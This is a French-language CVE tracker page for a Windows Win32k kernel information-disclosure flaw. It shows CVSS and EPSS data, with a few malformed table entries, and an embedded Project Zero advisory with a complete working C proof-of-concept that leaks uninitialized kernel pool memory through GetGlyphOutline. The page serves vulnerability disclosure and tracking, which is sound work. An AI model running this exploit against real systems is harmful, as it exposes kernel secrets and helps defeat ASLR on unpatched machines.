CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
The Windows kernel component on Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT 8.1 allows an information disclosure vulnerability when it improperly handles objects in memory, aka "Win32k Information Disclosure Vulnerability". This CVE ID is unique from CVE-2017-8678, CVE-2017-8677, CVE-2017-8681, and CVE-2017-8687.
Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.0
5.5
MEDIUM
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Local
A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
Low
The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Unchanged
An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.
Base: Impact Metrics
The Impact metrics refer to the properties of the impacted component.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
None
There is no loss of integrity within the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
None
There is no impact to availability within the impacted component.
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Environmental Metrics
nvd@nist.gov
V2
2.1
AV:L/AC:L/Au:N/C:P/I:N/A:N
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
35.03%
–
–
–
–
2021-09-05
–
35.03%
–
–
–
2022-01-09
–
35.03%
–
–
–
2022-02-06
–
–
2.19%
–
–
2022-03-13
–
–
2.19%
–
–
2022-04-03
–
–
2.19%
–
–
2022-06-19
–
–
2.19%
–
–
2022-12-25
–
–
2.19%
–
–
2023-01-01
–
–
2.19%
–
–
2023-02-26
–
–
2.19%
–
–
2023-03-12
–
–
–
0.1%
–
2023-07-02
–
–
–
0.1%
–
2023-07-23
–
–
–
0.1%
–
2023-08-27
–
–
–
0.13%
–
2024-01-28
–
–
–
0.14%
–
2024-02-11
–
–
–
0.14%
–
2024-03-03
–
–
–
0.14%
–
2024-03-10
–
–
–
0.11%
–
2024-06-02
–
–
–
0.14%
–
2024-07-07
–
–
–
0.12%
–
2024-08-04
–
–
–
0.12%
–
2024-08-11
–
–
–
0.12%
–
2024-08-25
–
–
–
0.21%
–
2024-09-29
–
–
–
0.25%
–
2024-11-10
–
–
–
0.19%
–
2024-12-15
–
–
–
0.18%
–
2024-12-22
–
–
–
50.53%
–
2025-02-23
–
–
–
48.18%
–
2025-01-19
–
–
–
50.53%
–
2025-02-23
–
–
–
48.18%
–
2025-03-18
–
–
–
–
22.06%
2025-03-30
–
–
–
–
26.9%
2025-03-30
–
–
–
–
26.9,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2017-09-17 22h00 +00:00 Auteur : Google Security Research EDB Vérifié : Yes
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1267&desc=2
We have discovered that the win32k!NtGdiGetGlyphOutline system call handler may disclose large portions of uninitialized pool memory to user-mode clients.
The function first allocates memory (using win32k!AllocFreeTmpBuffer) with a user-controlled size, then fills it with the outline data via win32k!GreGetGlyphOutlineInternal, and lastly copies the entire buffer back into user-mode address space. If the amount of data written by win32k!GreGetGlyphOutlineInternal is smaller than the size of the allocated memory region, the remaining part will stay uninitialized and will be copied in this form to the ring-3 client.
The bug can be triggered through the official GetGlyphOutline() API, which is a simple wrapper around the affected system call. The information disclosure is particularly severe because it allows the attacker to leak an arbitrary number of bytes from an arbitrarily-sized allocation, potentially enabling them to "collide" with certain interesting objects in memory.
Please note that the win32k!AllocFreeTmpBuffer routine works by first attempting to return a static block of 4096 bytes (win32k!gpTmpGlobalFree) for optimization, and only when it is already busy, a regular pool allocation is made. As a result, the attached PoC program will dump the contents of that memory region in most instances. However, if we enable the Special Pools mechanism for win32k.sys and start the program in a loop, we will occasionally see output similar to the following (for 64 leaked bytes). The repeated 0x67 byte in this case is the random marker inserted by Special Pools.
--- cut ---
00000000: 67 67 67 67 67 67 67 67 67 67 67 67 67 67 67 67 gggggggggggggggg
00000010: 67 67 67 67 67 67 67 67 67 67 67 67 67 67 67 67 gggggggggggggggg
00000020: 67 67 67 67 67 67 67 67 67 67 67 67 67 67 67 67 gggggggggggggggg
00000030: 67 67 67 67 67 67 67 67 67 67 67 67 67 67 67 67 gggggggggggggggg
--- cut ---
Interestingly, the bug is only present on Windows 7 and 8. On Windows 10, the following memset() call was added:
--- cut ---
.text:0018DD88 loc_18DD88: ; CODE XREF: NtGdiGetGlyphOutline(x,x,x,x,x,x,x,x)+5D
.text:0018DD88 push ebx ; size_t
.text:0018DD89 push 0 ; int
.text:0018DD8B push esi ; void *
.text:0018DD8C call _memset
--- cut ---
The above code pads the overall memory area with zeros, thus preventing any kind of information disclosure. This suggests that the issue was identified internally by Microsoft but only fixed in Windows 10 and not backported to earlier versions of the system.
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <cstdio>
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
} else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
} else {
printf(".");
}
}
printf("\n");
}
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("Usage: %s <number of bytes to leak>\n", argv[0]);
return 1;
}
UINT NumberOfLeakedBytes = strtoul(argv[1], NULL, 0);
// Create a Device Context.
HDC hdc = CreateCompatibleDC(NULL);
// Create a TrueType font.
HFONT hfont = CreateFont(1, // nHeight
1, // nWidth
0, // nEscapement
0, // nOrientation
FW_DONTCARE, // fnWeight
FALSE, // fdwItalic
FALSE, // fdwUnderline
FALSE, // fdwStrikeOut
ANSI_CHARSET, // fdwCharSet
OUT_DEFAULT_PRECIS, // fdwOutputPrecision
CLIP_DEFAULT_PRECIS, // fdwClipPrecision
DEFAULT_QUALITY, // fdwQuality
FF_DONTCARE, // fdwPitchAndFamily
L"Times New Roman");
// Select the font into the DC.
SelectObject(hdc, hfont);
// Get the glyph outline length.
GLYPHMETRICS gm;
MAT2 mat2 = { 0, 1, 0, 0, 0, 0, 0, 1 };
DWORD OutlineLength = GetGlyphOutline(hdc, 'A', GGO_BITMAP, &gm, 0, NULL, &mat2);
if (OutlineLength == GDI_ERROR) {
printf("[-] GetGlyphOutline#1 failed.\n");
DeleteObject(hfont);
DeleteDC(hdc);
return 1;
}
// Allocate memory for the outline + leaked data.
PBYTE OutputBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, OutlineLength + NumberOfLeakedBytes);
// Fill the buffer with uninitialized pool memory from the kernel.
OutlineLength = GetGlyphOutline(hdc, 'A', GGO_BITMAP, &gm, OutlineLength + NumberOfLeakedBytes, OutputBuffer, &mat2);
if (OutlineLength == GDI_ERROR) {
printf("[-] GetGlyphOutline#2 failed.\n");
HeapFree(GetProcessHeap(), 0, OutputBuffer);
DeleteObject(hfont);
DeleteDC(hdc);
return 1;
}
// Print the disclosed bytes on screen.
PrintHex(&OutputBuffer[OutlineLength], NumberOfLeakedBytes);
// Free resources.
HeapFree(GetProcessHeap(), 0, OutputBuffer);
DeleteObject(hfont);
DeleteDC(hdc);
return 0;
}